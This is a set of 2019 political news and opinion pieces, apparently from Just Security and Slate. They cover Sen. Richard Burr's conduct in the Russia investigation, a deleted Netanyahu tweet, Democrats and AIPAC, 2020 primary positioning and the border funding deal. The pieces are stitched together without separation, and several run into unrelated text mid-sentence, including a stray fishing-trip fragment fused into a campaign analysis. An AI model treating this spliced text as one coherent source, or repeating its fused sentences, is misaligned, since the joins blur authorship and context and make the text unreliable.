When Burr assumed the lead of the Russia investigation, it was not widely known that there was something entirely unique about his role on the Trump campaign. Unlike any of the other senior advisers who joined the campaign, when Burr signed up, he was privy to the U.S. intelligence communitys findings that Russian President Vladimir Putin was engaged in an effort to interfere in the election in support of Trump.

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Since January 2015, Burr had been a member of the Gang of Eighta group that consists of the majority and minority leaders of the Senate and House and top Republicans and Democrats on the Senate and House intelligence committees. The U.S. intelligence community is able to share the nations most sensitive secrets with this small group without anyone else outside the administration knowing that information.

As far back as summer 2015, the U.S. intelligence community reportedly informed the Gang of Eight that Russias intelligence agencies were engaged in a hacking operation against the Democratic National Committee. That was many months before the DNC was aware of the breach, and months before the FBI reached out to the DNC to inform the organization.

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In July 2016, when Trump called on Russia, if youre listening to hack Hillary Clintons emails, several Republican leaders directly and indirectly criticized him. A spokesperson for Speaker of the House Paul Ryan, a Republican member of the Gang of Eight, said, Russia is a global menace led by a devious thug. Putin should stay out of this election.

Burrs office, however, appeared to deflect attention away from Russia. A spokeswoman for Burr told Politico that the senator had said for some time that foreign adversaries are intent on gaining unauthorized access into our countrys government and private networks to access sensitive data. Politico noted that instead of talking about Trumps statement, Burrs spokeswoman mostly focused on the FBI investigation of the recent hacking attack on the Democratic National Committees email servers, telling the news outlet that public discussion about attribution  are premature, at best.

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By that point, however, not only did Burr know that the intelligence community had attributed the DNC hack to Russia, but the U.S. intelligence agencies even likely knew in summer 2015 the specific unit and agents within Russias intelligence services who performed the hacking.

As the U.S. presidential campaign headed into the general elections, the U.S. intelligence community gained a more comprehensive view of the Kremlins actions and intentions. Increasingly concerned by what they saw, senior U.S. intelligence officials updated the small group of congressional leaders.

Burrs office appeared to deflect attention away from Russia.

From Aug. 11Sept. 6, 2016, the CIA organized a series of urgent, individual briefings for [the] eight top members of Congress. The CIA informed Burr and the others that the U.S. intelligence community had discovered the Kremlin was working to help elect Trump and that unnamed advisers to Mr. Trump might be working with the Russians.

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With this information in hand, Burr decided not only to join the Trump campaign and tie his political fate to Trump. Burr also took the now difficult-to-explain step of publicly repudiating suggestions that the Russians were acting in support of Trump. In an Oct. 3, 2016 interview, Burr said, I have yet to see anything that would lead me to believe Russia was interfering to benefit Trump. It was also a notable exception to Burrs reputation for avoiding speaking with the press.

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Most important, we now know that what Burr said in the interview was inconsistent with what the C.I.A had told him. Former CIA Director John Brennan would later testify before Congress that he had kept Burr and the others in the Gang of Eight fully informed.

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The full details of what we knew at the time was shared only with these members of Congress, Brennan said. The substance of those briefings was entirely consistent with the main judgments contained in the January classified and unclassified assessmentsnamely, that Russias goals were to undermine public faith in the U.S. democratic process, denigrate Secretary Clinton and harm her electability and potential presidency, and help President Trumps election chances.

In summer 2016, U.S. intelligence agencies were also tracking an additional threat from Russia, this one directed against the voting systems of different states. Again, Burr made public statements that were at odds with what he had been told by the U.S. intelligence community. In his Oct. 3 interview with Foreign Policy, the news organization wrote that Burr said actual manipulation of the vote cant happen because the DHS has assured lawmakers that no U.S. ballot machines are connected to the internet. (Foreign Policy also noted the discrepancy between Burrs statement and the New York Times reporting days later that DHS was actively trying to protect states online voting systems against cyberthreats.)

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Whats worse, we now know that DHS and the intelligence agencies secretly briefed Burr the previous month about their grave concerns of Russian threats to state voting systems. In early September 2016, President Obama had dispatched three senior U.S. officialsincluding DHS Secretary Jeh Johnson, Homeland Security Adviser Lisa Monaco, and FBI Director James Comeyto brief the Gang of Twelve, a group that includes the Gang of Eight plus the chairs and ranking members of the committees on homeland security.

The White House wanted the congressional leaders to agree to a bipartisan statement urging state and local officials to take federal help in protecting their voting-registration and balloting machines from Russian cyber-intrusions, the Washington Post reported. McConnell nixed the idea and remained steadfast despite Paul Ryans effort to persuade the Senate majority leader to change his mind.

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Yet even McConnells stancedeclining to issue a joint public statementwas far shy of Burrs tack of making public statements inconsistent with the intelligence information.

Over the course of September, other members of the Gang of Twelve publicly referred, in broad terms, to what they had been told in the intelligence briefings. Burr then cast doubt on their presentation of the facts.

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On Sept 9, in a move perceived to break with Trump, Ryan called Putin an aggressor, and said, It certainly appears that he is conducting state-sponsored cyberattacks on what appears to be our political system.

On Sept. 14, Texas Rep. Michael McCaul, the chair of the House Committee on Homeland Security, told CNN: I have been briefed at a very high-level classified briefing on these Russian allegations. They are very disturbing. The idea of a foreign power, particular one like Russia, a foreign adversary, attempting to mess with our electionsand Director Comey basically told us that the motivation was to undermine the integrity of the American political electoral process.

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The following week, the ranking member of Burrs committee, California Sen. Dianne Feinstein and her counterpart on the House Intelligence Committee, California Rep. Adam Schiff, issued a statement saying, Based on briefings we have received, we have concluded that the Russian intelligence agencies are making a serious and concerted effort to influence the U.S.

election.

Burrs reaction? Like his spokeswomans statement that summer, he deflected attention away from Russia. He said that his fellow congressional members warnings were probably incorrect, and that they give the impression theres one cyber-problem in the world: Russia and the elections, and thats a huge understatement. It is not clear specifically which of his congressional colleagues warnings Burr was referencing at the time.

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Burr had a new choice to make once the U.S. intelligence community released its Oct. 7 statement, which came four days after his interview with Foreign Policy. Most chilling were the first two sentences of the three-paragraph statement by Director of National Intelligence James Clapper and Homeland Security Secretary Johnson:

The U.S. Intelligence Community (USIC) is confident that the Russian Government directed the recent compromises of e-mails from US persons and institutions, including from US political organizations. The recent disclosures of alleged hacked e-mails on sites like  WikiLeaks  are consistent with the methods and motivations of Russian-directed efforts.

Burr would later act like those sentences did not exist. It was a head-turning moment in a nationally televised debate for the North Carolina Senate seat.

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Prior to his debate, Burr was hemmed in by Trumps statements attempting to contradict the intelligence community. Two days after the Clapper-Johnson statement, Trump said in a Sunday night presidential debate against Hillary Clinton, She doesnt know if its the Russians doing the hacking. Maybe there is no hacking. But they always blame Russia.

Politico published a roundup of Republicans repudiating Trump on this issue, noting that Burr issued a brief statement deferring to the intelligence communitys release, stating: I believe it sufficiently covers what we believe to be the case at this time. Burrs statement was non-specific. He would be given an opportunity to clarify in the next few days.

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That Wednesday night, Burr faced off against his opponent.

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The moment came when the debate moderator, ABCs Jonathan Karl, asked Burr point-blank whether he chose to believe Trump or the U.S. intelligence community. Burr first appeared to stand behind the administrations statement but wasnt specific. Karl followed up, and Burr stammered. In a meandering answer, he said, Its not limited to [Russia]. Its Iran, its North Korea, its China. Burr also said he doubted Karls sources.

After a commercial break, Karl made more explicit that his source was the Clapper-Johnson statement and read the first line of the statement verbatim. Burr replied, I dont think that really had anything to do with the e-mails or the political parties, and added Im not sure that the reports that you read are from official sources. Karl was exasperated. OK, uh, it was a joint statement from the Director of National Intelligence and the intelligence community. Lets move on to the next question. (Its worth watching the 7 minutes in full.)

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The media was perplexed. Politico reported the next morning under the subheading, Burr All Over the Place on Hacks. The Washington Post summarized the exchange saying, Burr appeared unaware of or unwilling to acknowledge Clappers statement and dodged when pressed on the issue.

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When Burr, as a member of the House of Representatives, ran for Senate in 2004, there was a historical significance to his race that was not lost on the candidate. North Carolinas congressman was the 12th cousin of Aaron Burr, who had killed Alexander Hamilton and stood trial for treason for a plot to take military control over American territory. Aaron Burrs stain on American history was likely part of the reason it took nearly 200 years before a Burr returned to Congress. Richard Burr had accomplished that feat in 1994 as part of the so-called Newt Gingrich Revolution.

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Ten years later, he was aiming to become the first Burr to win a Senate seat since Aaron Burr represented the state of New York.

Richard Burrs family expressed pride in their connection to the nations third vice president. His father had served as the president of the Aaron Burr Association in the late 1970s. In 2004, the National Review asked Congressman Burr whether he was proud of his tie to Aaron Burr. Yes, I am, Burr replied, though history has proved to shine a different light on him, because of the treasonous acts. He was reflective, and sounded conflicted.

After the 2016 election returned Burr to the Senate, he found himself with the historically significant role of chairing the investigation into whether the president of the United States and members of his campaign helped Russia interfere in the 2016 election. Warner, for his part, remarked that the investigation may very well be the most important thing I do in my public life. Freed of the pressures of the election season, the question would become how Burr would run the investigation.

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Over the past two years, the Senate Intelligence Committee has produced reports in a bipartisan fashion that contrast sharply with all other congressional investigations into Russian election interference to date. One report found that Russian government operatives conducted an unprecedented, coordinated cyber campaign against state election infrastructure during the presidential election. Another report confirmed the findings of the intelligence community that Russia had interfered in the election in support of Trump.

Given what Burr had said in 2016, these fully bipartisan reports were even more significant than many realized. That said, the overwhelming evidence in support of the reports findings appeared to offer no alternative for a reasonable decision-maker.

What has been alarming to close observers is a series of decision points in the course of the Russia investigation, most especially on the question of collusion, that bring Burrs impartiality into doubt.

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Here are 10 data points to consider:

1. Burr tried to kill the collusion inquiry from the start.

Burr announced that the committee would exclude possible collusion from the scope of the investigation, a move he made with no advance notice to Warner.

2. Burr reversed under pressure.

Burr reportedly backed down only after Democrats threatened to boycott the investigation if the question of collusion was not included as a topic.

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3. Caught in the actworking secretly on behalf of the White House.

The Washington Post reported that the White House secretly enlisted House Intelligence Committee Chairman Devin Nunes and Burr to reach out to news organizations to challenge the New York Times reporting on contacts between the Trump campaign and Russians.

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Burrs conduct was criticized by both Democrats and Republicans in the Senate. New York Sen. Chuck Schumer said Burr had been put on notice, and that his conduct certainly gives the appearance, if not the reality, of a lack of impartiality. Warner said he had grave concerns about Burrs conduct. Republican Sens. Susan Collins of Maine and Marco Rubio of Florida, both members of the intelligence committee, also issued critical statements.

4. Credit where credit is not due

Burr has been credited with not appearing at functions with President Trump and limiting any trips to the White House, but he took this step only after being chastened by the Post report on his and Nunes conduct.

5. A painfully slow start. No subpoenas and lack of requests for evidence.

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In April 2017, Michael Isikoff reported, The committee has yet to issue a single subpoena for documents or interview any key witnesses who are central.  It also hasnt requested potentially crucial evidencesuch as the emails, memos and phone records of the Trump campaignin part because the panels chairman, Sen. Richard Burr, R-N.C., has so far failed to respond to requests from the panels Democrats to sign letters doing so, the sources said.

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6. Understaffed

The [Senate Intelligence Committee] investigation does not have a single staffer dedicated to it full-time, and those staff members working on it part-time do not have significant investigative experience, the Daily Beast reported in April 2017. In a February interview, Burr defended never hiring outside full-time professional investigators. Outside investigators, he said, wouldve never had access to some of the documents that we were able to access from the intelligence community. But its unclear why the committee could not use outside professional investigators or attorneys who have the required security clearances.

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7. Statement on assessing the success of Russian interference

In a widely watched November 2017 hearing, Burr used his opening remarks to claim that Russian influence operations could not be shown to have affected the election, and that a contrary view was biased. Burr said: I want to use this forum to push back on some narratives that have sprung up around the subject. A lot of folks, including many in the media, have tried to reduce this entire conversation to one premise; foreign actors conducted a surgical, executed covert operation to help elect a United States president. Im here to tell you this story does not simplify that easily.

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Burr continued, What we cannot do  is calculate the impact that foreign meddling had on this election. Its human nature to make the complex manageable and determine things that fit your conclusions. Thats bias.

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8. Encouraging Trumps attempts to discredit former senior intelligence officials

When President Trump decided to revoke the security clearances of former senior intelligence officials, Burr quickly and strongly supported the president. (Notably, Burr issued a statement saying a New York Times op-ed that John Brennan wrote justified the president revoking the former CIA directors clearances. This was unusual reasoning since Brennan wrote the op-ed following the presidents decision to revoke Brennans clearances.)

9. Vetoing public hearings

Burr categorically rejects any public hearings with Trump campaign associates, despite Warners requests and despite the fact that the committee has held several public hearings, including on Russias manipulation of social media platforms.

10. Defying his own rules on speaking to the press about the committees work

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Burr has now repeatedly told media outlets that he has seen no evidence of collusion. The first occasion was in an Associated Press interview in September 2018. In the same article, the Associated Press reported that Oklahoma Sen. James Lankford says Burr started every meeting at the beginning of the probe by asking senators not to talk to the media until we get additional facts and we put things out together.  In 2014, Burr said, I personally dont believe that anything that goes on in the intelligence committee should ever be discussed publicly.

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With months still to go in the committees investigation, Burr has recently made headlines in claiming that he has seen no hard evidence or factual evidence of collusion. Yet, he also seems to acknowledge that reasonable minds on the committee may well consider the facts do amount to evidence of collusion.

Burrs conduct during the 2016 campaign, however, haunt his words today. What stands out most of all is Burrs statement in the Oct. 3, 2016 interview that he had yet to see anything that would lead me to believe Russia was interfering to benefit Trumpwhen thats exactly what he was seeing in highly classified intelligence briefings at the time. That was no stray statement either. Burrs spokeswomans July 2016 statement that public discussion about attribution of the DNC hack was premature, along with Burrs troubling Senate debate performance are additional reminders of how Burr has previously characterized intelligence information for the American public.

The true character and public understanding of Sen. Richard Burr will be tested in the months ahead. Then history will be left to judge.

More From Just Security

ICC Judge Schmitt Counsels Resilience to Preserve International Justice

The Pentagons Latest Report on Civilian Casualties PolicyDid Israeli Prime Minister Benjamin Netanyahu just say the quiet part out loud?

Israeli prime minister's office deletes tweet mentioning "war with Iran" https://t.co/UtPJuuEUyt pic.twitter.com/UdAkkfqzYS  The Hill (@thehill) February 13, 2019

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The tweet was part of a translation of remarks Netanyahu made in front of the incongruous backdrop of a Polish skating rink after a meeting with Omans foreign minister. Both were in Warsaw for a Mideast summit co-hosted by the U.S. and Poland. According to Mideast analyst Michael Koplow, war with Iran is a misleading translation of a phrase that could mean combating Iran. The tweet has been deleted and replaced with a statement using combating Iran, but the war version made it into some headlines, which have since been updated.

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Whether it was a simple screw-up, a dog whistle, or a Kinsley gaffe, the confusion over the remarks intentions is characteristic for this whole conference. When first announced last month, the summit was billed as having a focus on Irans destabilizing influence, as Secretary of State Mike Pompeo put it. Iranian Foreign Minister Mohammad Javad Zarif dismissed it as a desperate anti-Iran circus.

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Later, the focus was broadened to the Middle East in general, including issues like the Israeli-Palestinian conflict, the fight against ISIS, and the conflicts in Syria and Yemen. Some officials denied that Iran was the focus at all, likely in a bid to entice participation from more countries, many of which are critical of the Trump administrations Iran policies.

It didnt quite work. While around 60 countries are in attendance, the notable absences include most of the signatories of the 2015 nuclear deal that Trump has pulled the U.S. out of. Russia and China wont be there. Neither will France, Germany, or the EUs high representative for foreign affairs. British Foreign Secretary Jeremy Hunt is attending but says he mostly wants to talk about Yemen. These so-called E3 countries announced plans last month to set up a payment system to continue conducting trade with Iran in defiance of new U.S. sanctions.

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The Palestinian Authority is also boycotting the meeting, as it has most contact with U.S. officials since Trumps decision to move the U.S. Embassy in Israel to Jerusalem. This doesnt bode well for the long-anticipated rollout of the Jared Kushner peace plan, which may begin next week.

If the purpose of this summit was to demonstrate international unity behind Trumps aggressive policies toward Iran, it has fallen short.

The conference does present an opportunity for some of the countries involved. For the host, Poland, which is not normally known for its interest in Middle East politics, the event may have more to do with concerns about Russia than Iran. Polands government has been trying to convince Trump, despite his natural inclinations about Vladimir Putin, to maintain U.S. troop deployments in Poland. President Andrzej Duda even went so far as to say, at a meeting in September, that a new base for U.S. troops could be called Fort Trump. The conference is a way for Poland to demonstrate its pro-U.S. bona fides, in contrast to the frosty western Europeans.

For Netanyahu, as he suggested in his statement, the meeting is a rare chance to have public meetings with Arab leaders. After years of regional isolation, Israel has been quietly building contacts and increasing cooperation with Sunni Arab governments against mutual foe Iran. These contacts are still sensitivemost of these countries still dont have formal diplomatic relations with Israeland Netanyahus war remark may draw some unwanted attention to them.Listen to What Next:

Get More What Next Slate Plus members get extended, ad-free versions of our podcastsand much more. Sign up today. Join Slate Plus Subscribe to What Next Copy this link and add it in your podcast app. copy link copied! For detailed instructions, see our Slate Plus podcasts page.

Listen to What Next via Apple Podcasts, Spotify, TuneIn, Stitcher, Overcast, Google Play, or iHeart.

President Donald Trump called on Rep. Ilhan Omar to resign after her anti-Semitic remarks this past weekend. She has since apologized, but the episode revealed a bigger problem that is bound to keep rearing its head for the Democratic Party: its stance on Israel.

Guest: Joshua Keating, Slates international affairs writer

Tell us what you think by leaving a review on Apple Podcasts or sending an email to whatnext@slate.com. Follow us on Instagram for updates on the show.

Podcast production by Mary Wilson, Jayson De Leon, and Anna Martin.The day that began with a media furor around Rep. Ilhan Omars recent tweets did not end the way many on the left feared it would. While centrist Democrats and the partys leadership predictably criticized the first-year congresswoman from Minnesota for her tweets about the pro-Israel lobby AIPAC (American Israel Public Affairs Committee), most of the partys progressive base rallied behind her. Omars tweet about the Benjamins may have been ill-advisedmany thought it traded, whether intentionally or not, on the anti-Semitic idea that Jewish money controls the governmentbut by the news cycles end it had performed a kind of public service, focusing attention on, and in a way demonstrating, the power the pro-Israel lobby wields in American politics. Articles detailing the way AIPAC marshals its significant resources and extensive influence to shut down criticism of Israel and bolster support for Israeli policies appeared not only in reliably left-wing publications like the Intercept, but also among the gatekeepers of acceptable liberal opinion like Vox. If Omars intention was to shift public debate about AIPACs role in U.S. politics, she seems to have succeeded.

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This is an encouraging lesson for the Democrats going forward. It is not only the case that the bipartisan consensus on support for the Israeli government has fractured, but that the Democratic Partys consensus has as well, with the progressive wing now eager and emboldened to push leftward on the issue of Israel-Palestine. Recent polling strongly suggests their constituents want this: A 2018 Pew survey found that the share of liberal Democrats who sympathize more with Israel than the Palestinians has declined from 33 percent to 19 percent over the course of just two years. A shift of this speed and magnitude means that the Democrats can afford more ambitious policy proposals on Israel-Palestine, especially heading into the 2020 election. Reps. Omar and Rashida Tlaib, who is Palestinian, together with longtime left-wing stalwarts like Vermont Sen. Bernie Sanders, can take the lead.

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Where to start? Make U.S. military aid to Israel contingent on Israels behaviorperhaps on a total settlement construction freeze or a return to direct negotiations with the Palestinians. Neither of these are likely to go through without a dramatic shift in the balance of partisan power in Washington, but they are both reasonable strategies for putting pressure on Israel to change its policies, and their failure would illustrate the power of the pro-Israel lobby and the Israeli governments recalcitrance. This strategy would also force politicians who call themselves progressives, many of whom would like to avoid the Israel issue entirely, to choose a side.

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The question is what siding with Omar and Tlaib will cost them, and for progressives looking to appeal to younger voters, the answer is: not a lot. Among young people, support for Israel is lowjust one-quarter of respondents ages 1829 in a 2018 Economist/YouGov poll said they considered Israel an ally. A small but reliable segment of the Democrats base, American Jews are also unlikely to stop voting for the party even if it becomes more critical of Israel. Israeli Prime Minister Benjamin Netanyahu and his right-wing, religious governing coalition have run afoul of the majority of American Jews, who are overwhelmingly liberal and secular. Israel under Netanyahu has become a place whose values are increasingly out of step with those of Jews in America, and on occasion even in direct conflictas demonstrated by Israels refusal to accommodate liberal religious denominations at the Western Wall and the state-run rabbinates rejection of the legitimacy of Reform Judaism, the largest denomination in the U.S.

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Plus, most American Jews do not take Israel into primary consideration when making decisions about voting; a recent poll conducted by the liberal Jewish lobbying group JStreet found that only 4 percent of Jewish voters listed Israel among their top two issues in 2018. Orthodox and more traditionally observant Jewish voters, who do tend to prioritize Israel, will complete their migration from the left to the right, but rather than try to appeal to them by appearing sufficiently pro-Israel, Democrats should just let them go.

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The conclusion for progressives from the last 48 hours is that they should not cower.

Democrats support for the Israeli government has never just been about the Jewish or youth vote, though. Centrists in the party continue to believe in the possibility of winning over the ever-elusive constituency of moderate Republicans disgusted by the GOPs transformation in the age of Trump, a fantasy that the elections in 2016 and 2018 should have dispelled. Then there is the reality that AIPAC does enforce the pro-Israel line, in part, through its ability to marshal substantial financial supportthough not through direct donationsfor political candidates, who in turn have an interest in supporting pro-Israel policies. Democrats who move to criticize Israel more forcefully will have to go without these funds. But Omar, Tlaib, and others have won without AIPAC support, and hopefully their growing influence in the party will demonstrate to others who share their views on Israel-Palestine whats possible.

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Still, even if progressive politicians avoid any rhetorical slip-ups or miscalculations, they are likely to face attacks for speaking out against AIPAC in the future. The right will be more than happy to wield accusations of antisemitism against critics of Israel (and to conflate criticism of Israeli policy or AIPAC with criticism of Jews) to distract from the pervasive racism and bigotry within its own ranks and to play to their evangelical base, numerically much larger than the Jewish population in the United States.

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The conclusion for progressives from the last 48 hours is that they should not cower. They should instead be prepared to point out the rights hypocrisy and focus the conversation on the substantive political issue at hand: the way AIPAC and other pro-Israel lobbying groupsfor example, CUFI (Christians United for Israel), an evangelical Christian Zionist groupmaintain U.S. support for a brutal and unjust status quo in Israel-Palestine. Progressives must rightly insist that there is nothing anti-Semitic about criticizing this and demonstrate effective of ways of doing so, as columnist Mehdi Hasan did well, writing that opposition to AIPAC need not be different from progressives general opposition to big money in politics and the pernicious effects of other lobbying groups like the NRA.

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It is not too much of an exaggeration to say that peoples lives depend on it. Indeed, lost in the takes and tweets of the past few days was the human tragedy at the heart of all of this: the immense suffering of the Palestinians living under occupation in the West Bank and blockade of Gaza. As long the United States continues to help maintain these realities in Israel-Palestine, it will remain an issue in American politics.

An emboldened progressive wing of the Democratic Party that is willing to challenge the forces in American politics that entrench and uphold the occupation will not end it or the human rights abuses it produces right away. But after decades of a bipartisan consensus on Israel that has led to unquantifiable suffering for Palestinians as well as Israelis, it is a start.A divide? The backlash against Minnesota Rep. Ilhan Omar for a tweet about her criticism of Israel is a sign of future rifts to come in the Democratic Party over this particularly fraught foreign policy issue, Josh Keating writes. But according to the president of J Street, a moderate pro-Israel lobbying group, the differences among Democrats views of Israel may not be as stark as they may appear.

Defense secretaries, who needs em? Trump still has not nominated an official successor to former Secretary of Defense James Mattis, who stepped down at the end of last year. The current acting secretary is not well-favored, and authority among military services has been hopelessly scattered for a few years now. Fred Kaplan asks: How long can this disheveled Pentagon endure?

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Not done for yet: Closing arguments in the affirmative action case Students for Fair Admissions v. Harvard are this week, so its time to talk about whether affirmative action is on its last legsa concern that has existed since the late 70s, now renewed by Brett Kavanaughs confirmation to the Supreme Court. Yuvraj Joshi doesnt think so: Affirmative action will not disappear. It will, though, be driven undergroundwith ever-less overt uses of race.

A killers kid: When Kerri Rawson was born in 1978, her dad had already committed seven murders as the notorious BTK killer. She wouldnt find out until 2005, when he was finally caught. At first she didnt believe the supportive, devoted father she knew could be BTK. Writer Zach Schonfeld talks with Rawson about trying to reconcile these two versions of her father, the PTSD shes suffered as a result, and how her relationship with her dad has evolved since hes been behind bars serving out 10 life sentences.

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Earthiness and brio: Booker Prizewinning author Marlon James is back, with Black Leopard, Red Wolf, a dark fantasy launching an epic new trilogy set in Iron Age Africa. Its a delirious smoothie of cultural influences and tributes, from Kurosawa films to superhero comics to the seminal work of the 1930s Nigerian writer D.O. Fagunwa, writes critic Laura Miller. And though the genre piece may seem like a radical departure, fans of James will find much to admire in the prose and voice the writer brings to the page.

For fun: A harsh motivational video from olden days.

Wondering what happened to Barbara,

NitishThe alarm sounded at 4 a.m. and I reluctantly dragged myself out of bed. We had a long drive ahead of us, and my husband, Led, was eager to get on the water. Before too long, our friends Chase and Courtney arrived and we were ready to hit the road. It is about two hours from our home to LakeThe early days of 2019which is to say, the early days of the 2020 campaignhave been dominated by the Democratic Partys left wing. Early big-name entrants Kamala Harris, Elizabeth Warren, Cory Booker, and Kirsten Gillibrand were all quick to plant their flags squarely on progressive soil. Most tellingly, all four support Bernie Sandersstyle Medicare for all and Alexandria Ocasio-Cortezs Green New Deal, two issues that have emerged as the biggest intraparty litmus tests for the primary season.

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Dont expect that early consensus to last, however, as other top-tier candidates begin to officially enter the fray, as was the case last weekend with Amy Klobuchars formal campaign launch. The Minnesota senator is banking on her relatively moderate politics and Midwestern roots to help her stand out in a field that is currently clustered on the progressive end of the spectrum. Sherrod Brown, who spent the weekend in New Hampshire testing out his potential campaign message, is plotting a similar path to the nomination. Joe Biden has long had the same kind of route in mind should he decide to run. Other could-be candidates, from Michael Bloomberg to Beto ORourke, are likely to veer toward the center in interesting ways as well.

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In this way, the center lane is starting to take shape. If you watch long enough, though, youll spot these candidates weaving in and out of the left lane. Indeed, how and when they shift between the two will be as illuminating as which one they decided to start in.

Consider Klobuchar: She is now the most high-profile candidate in the race who has not signed on to Sanders Medicare for all effort, instead voicing her support for more incremental expansions in Medicare. And yet she is a Senate co-sponsor of the Green New Deal, which lists universal health care as one of its goals. Notably, Klobuchar avoided mentioning the nonbinding resolution by name during her Sunday kickoff speech in the Minnesota snow, instead promising to reinstate and reinforce the Obama-era climate rules Donald Trump has rolled back. But with Mitch McConnell planning on holding a show vote on the Green New Deal in the Senate, Klobuchar may soon have to choose between the smaller measures she prefers and the far more sweeping effort she also says she supports.

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Or consider Brown, who is often mentioned in the same breath as Klobuchar given they both can boast of winning big in Midwestern swing states, ostensibly giving them a leg up with the white, working-class voters who helped propel Trump to the White House. Brown has not yet launched his campaign, but hes spent the weekend in the Granite State with his left-turn signal blinkingtouting his past opposition to free trade deals, the Defense of Marriage Act, and the Iraq war. But by Tuesday, he was back in Washington pointedly declining to endorse either Medicare for all or the Green New Deal. I dont need to co-sponsor every bill that others think they need to co-sponsor to show my progressive politics, he said. I know the easy thing to do is say, Yes yes yes yes yes yes yes yes, but I dont know that that serves my constituents.

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Brown isnt sitting out the Medicare debate entirely, and his position illustrates the difficulty of trying to straddle both lanes. Its easy to say Medicare for all and make a good speech, but see no action, he said last month. Instead, hes pushing to expand access to Medicare more slowly. Among the options he supports is opening the program up to retiring police and firefighters. The idea has its meritsmany first responders retire before 65, so they face a gap in health coverageand its one that seems tailor-made to appeal to a subset of (white) voters who arent currently part of the Democratic base. But its also easy to see why such a pro-police plan infuriates progressives who see Brown effectively prioritizing cops over disadvantaged communities with even less access to health care coverage. How forcefully Brown decides to defend that plan on the stump will tell us a lot about the path hes plotted out.

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Its worth remembering that no single lane leads to the on-ramp for the nomination. Just as candidates shift between lanes, so too do voters. Theres little to suggest, for instance, that supporters will move en masse from one candidate to another in the same lane if their preferred pick stalls out. The 2016 Republican primary made it painfully clear that elections just dont work that way. The GOP spent more than a year hoping against hope that someone, anyone, could consolidate establishment support and defeat Donald Trump. But Trumps support continued to grow even as each establishment-friendly candidate dropped out. In hindsight, maybe that should have been obvious given that early polls found that Jeb Bushs fans were most likely to name Trump as their second choice, and vice versa.

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Already were seeing something similar play out this time around. In Morning Consults latest poll of a hypothetical 2020 field, Joe Biden and Bernie Sanders sit first and second, at 29 percent and 22 percent respectively. The two men are clearly on opposite sides of the Democratic ideological spectrum, and yet their supporters are more likely to name the other as their second choice than any of the other 17 options. While polling this far out signifies more about name recognition than whom voters will ultimately support, its nonetheless striking that so many voters embrace both men.

One possible explanation for this phenomenon is the fact that Democratic voters, at least for now, are focused on denying Trump another term in office. Monmouth University pollsters found that Democrats say they are more interested in perceived electability than in ideological purity. More than half (56 percent) of Democrats said theyd prefer someone who could be a strong candidate against Trump even if they disagree with that candidate on most issues, compared with just 33 percent who said the opposite. A CNN poll released a few days later told a similar story.

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Such polls leave unanswered the larger questions of what, exactly, those voters believe make a candidate better suited to take on Trump. The conversation about electability can get tautological quickly, as 2016 once again made clear: Hillary Clinton was electable until she wasnt; Donald Trump was not electable until he was. So when candidates in the center lane proclaim that their moderate stances bestow them with electability, it rings hollow this far out, before we even know what kind of candidate voters are seeking to elect. The early maneuvering in the Democratic field cant tell us which candidate is most likely to end up in the White House; it tells us only which lane each candidate believes is most likely to lead them to it. Keep an eye out for how many primary voters come along for the ride.President Donald Trump is not a fan of the border deal that congressional negotiators struck Monday night, the one that he would need to sign by the end of the week to avoid the years second government shutdown. While he said at a Cabinet meeting on Tuesday that he would have to study it, he was not happy about it. Its not doing the trick.

But! He didnt say he would veto it. As far as first reactions go, that was victory enough for Republican leaders desperate to avoid another disastrous lapse in funding. The trick over the next couple of days, then, will be to convince the president that this is not just his best option but actually a great deal for him.

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The most dismaying figure for the president in the deal is the $1.375 billion he won to fund approximately 55 miles of new border fencing. Thats not only shy of the $5.7 billion he requested and then shut down the government over in a poorly planned-out effort to secure it. Its also shy of the $1.6 billion (and 65 miles) that Senate negotiators were willing to give him last summer, before he got the curious idea in his head that he might get more money following a Democratic electoral wave.

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But all numbers can be spun, and so Republicans are spinning this one. Several senators and a Republican aide involved in the talks pointed out that Trump will get roughly three times the amount of fencing money in this deal that he would get by signing a continuing resolution to fund the government at existing levels through the remainder of the fiscal year. Triple!

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The trick over the next couple of days will be to convince Trump that this is not just his best option but actually a great deal for him.

Theyre also trying to convince Trump that he would be forcing House Speaker Nancy Pelosi to eat her own words. Two weeks ago, Pelosi had said that theres not going to be any wall money in the bill, and during the shutdown, she had joked that she might be willing to offer one dollar but no more.

I remember somebody from the House saying, not one penny, not one dollar,  Louisiana Sen. John Kennedy said on Tuesday. And based on what I see so far, theres at least $1.375 billion of those dollars, when the speaker said we wouldnt see a single one.

Democratic leaders, for their part, are defending themselves with an aesthetic technicality: There will be no wallonly fencing, limited to currently deployed technologies such as bollard fencing.

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Weve always been for fencing, Senate Democratic leader Chuck Schumer said during his weekly press conference, but this doesnt allow for a concrete wall of any kind.

In an effort to distract the president from the words doesnt allow for a concrete wall, Republicans are also trying to cheer up Trump by pointing out how many undocumented immigrants hell be able to detain. The GOP negotiators on the committee successfully beat back a Democratic request to cap how many detention bedsshorthand for the governments detention capacity for undocumented immigrantswould be available for interior, as opposed to border, enforcement. Democrats, alarmed by the Trump administrations escalation of interior enforcement, wanted to use the limitation in detention beds to force Immigration and Customs Enforcement to prioritize the deportation of criminals. But after Republicans went public with the new Democratic demand, and were prepared to pin the failure to reach a deal on them, Democrats dropped it.

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Democrats, though, were at least able to argue that the deal could bring down the overall detained population. The deal provides detention funds for an average daily population of 45,274. Since the current detention population is at about 49,000, Democrats argue, the Department of Homeland Security would have to start drawing down that number to near 40,500 by the end of September to hit the average. One Democratic aide described this mechanism as offering DHS a glide path toward reducing its detained population.

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Republicans understand that were this the end of the story, Trump would lose his mind. Thats why its not the end of the story.

The deal also offers the administration another $750 million in transfer authority, meaning $750 million that Trump could tap in the event he needed it. If the president were to tap this entirely, it could pay for another 13,000 detention bedsbringing the total to more than 58,000, well above even the presidents request. Democrats argue that if the president did decide to transfer the money this way, it would take funding away from things like the Coast Guard or the Federal Emergency Management Agency. Illinois Sen. Dick Durbin even suggested that Trump could open himself up to legal issues if he tries to transfer the funds without citing any specific surge in the need for them.

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A Republican aide, though, said that Trump would simply have to give notice to Congress if he wanted to transfer the funds this way. A Democratic aide countered that typically, the administration has respected Congress prerogative to turn down transfer requests, and the Department of Homeland Security has never used its transfer authority over the objection of the chair of either the House or Senate Appropriations Subcommittee on Homeland Security. But thats not really a denial that Trump would have the ability. And typically does not really apply.

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Trump seems to have been briefed on this and other enhancements available to him. Some senators are talking about, for example, nearly $900 million worth of Defense Department anti-trafficking funds that Trump could transfer toward the wall. Though Republican leaders have been nervous about him declaring a national emergency to build the wall, theyre much more comfortable with him using the narrower tool of transfers to at least make up some of the fencing money hes not explicitly getting.

